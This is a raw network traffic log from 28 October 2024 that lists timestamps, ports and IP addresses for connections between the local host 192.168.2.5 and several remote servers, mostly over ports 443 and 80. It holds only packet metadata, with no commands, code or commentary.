Oct 28, 2024 18:43:35.210755110 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.224905014 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.225780010 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.225788116 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.227375984 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.227442980 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.227507114 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.227710009 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.227740049 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.227869987 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.228188992 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.228270054 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.228334904 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.228343964 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.228440046 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.228447914 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.229171991 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.229240894 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.229652882 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.229738951 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.229758978 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.229774952 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.229820967 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.230171919 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.230252028 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.230333090 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.230340004 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.251339912 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.255323887 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.255559921 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.255563021 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.255599022 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.270978928 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.270986080 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.271013021 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.271045923 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.300945044 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.301009893 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.301064968 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.301096916 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.301131010 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.301330090 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.301879883 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.317095995 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.335356951 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.335536003 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.335650921 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.335669041 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.335736036 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.335788965 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.337167978 CET	63566	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.337189913 CET	443	63566	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.337580919 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.337646961 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.337810040 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.338181019 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.338212013 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.341200113 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.341227055 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.341300964 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.341312885 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.342077017 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.342164993 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.342377901 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.342389107 CET	443	63565	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.342416048 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.342431068 CET	63565	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.358222008 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.358287096 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.358342886 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.358511925 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.359134912 CET	63569	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.359139919 CET	443	63569	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.360050917 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.360099077 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.360176086 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.360202074 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.360759974 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361294985 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361324072 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.361339092 CET	443	63568	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361349106 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361373901 CET	63568	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.361406088 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.361413956 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361485958 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.361741066 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.365211964 CET	63567	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:35.365217924 CET	443	63567	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:35.375283957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375299931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375318050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375344038 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375376940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375410080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375428915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375442982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375454903 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375463963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375477076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375488043 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375489950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375515938 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375524044 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375694990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375706911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375719070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375739098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375771046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375783920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375796080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375807047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375818968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375843048 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375864983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375880003 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375901937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375951052 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375962973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375973940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375986099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.375994921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.375998020 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376023054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376034021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376049995 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376071930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376075983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376089096 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376101017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376107931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376111984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376126051 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376146078 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376218081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376267910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376280069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376324892 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376355886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376368999 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376379967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376391888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376399040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376424074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376430035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376442909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376454115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376456022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376480103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376513004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376607895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376624107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376635075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376657009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376666069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376684904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376688957 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376696110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376708031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376708984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376722097 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376730919 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376733065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376746893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376766920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376792908 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376827002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376853943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376864910 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376873970 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376885891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376892090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376898050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376912117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376914978 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376924992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376936913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376945019 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.376950979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376960993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.376972914 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377001047 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377047062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377058983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377070904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377083063 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377090931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377090931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377103090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377124071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377151966 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377183914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377196074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377207994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377226114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377235889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377249002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377258062 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377259016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377273083 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377311945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377319098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377331972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377343893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377355099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377360106 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377368927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377379894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377382040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377413034 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377441883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377471924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377485037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377496004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377505064 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377509117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377522945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377536058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377536058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377547026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377559900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377569914 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377572060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377585888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377593994 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377598047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377604008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377640009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377691984 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377705097 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377716064 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377757072 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377791882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377804041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377815008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.377841949 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.377888918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.378854036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.378899097 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.378914118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.378926992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.378968000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.378997087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379008055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379019976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379029989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379030943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379045010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379055977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379069090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379091978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379097939 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379103899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379147053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379162073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379174948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379213095 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379219055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379230976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379262924 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379281998 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379295111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379306078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379324913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379329920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379336119 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379342079 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379378080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379381895 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379381895 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379389048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379407883 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379419088 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379431963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379442930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379450083 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379473925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379511118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379525900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379539967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379575014 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379585981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379740953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379753113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379765034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379789114 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379800081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379826069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379837036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379851103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379862070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379879951 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379889965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.379894972 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379901886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379939079 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.379962921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.380212069 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.414577961 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.414638996 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.414877892 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415105104 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415138960 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.415340900 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415431023 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415452957 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.415601015 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415642977 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415667057 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.415760994 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415775061 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.415873051 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:35.415898085 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:35.419080973 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.419102907 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.419203997 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.419225931 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:35.419351101 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:35.492758036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.492837906 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.492862940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.492876053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.492888927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.492912054 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.492940903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.492964983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.492985964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493016005 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493029118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493041039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493051052 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493067980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493083000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493088007 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493096113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493107080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493119955 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493139029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.493144989 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.493149042 CET	80	63519	185.215.113.206	192.168.2.5
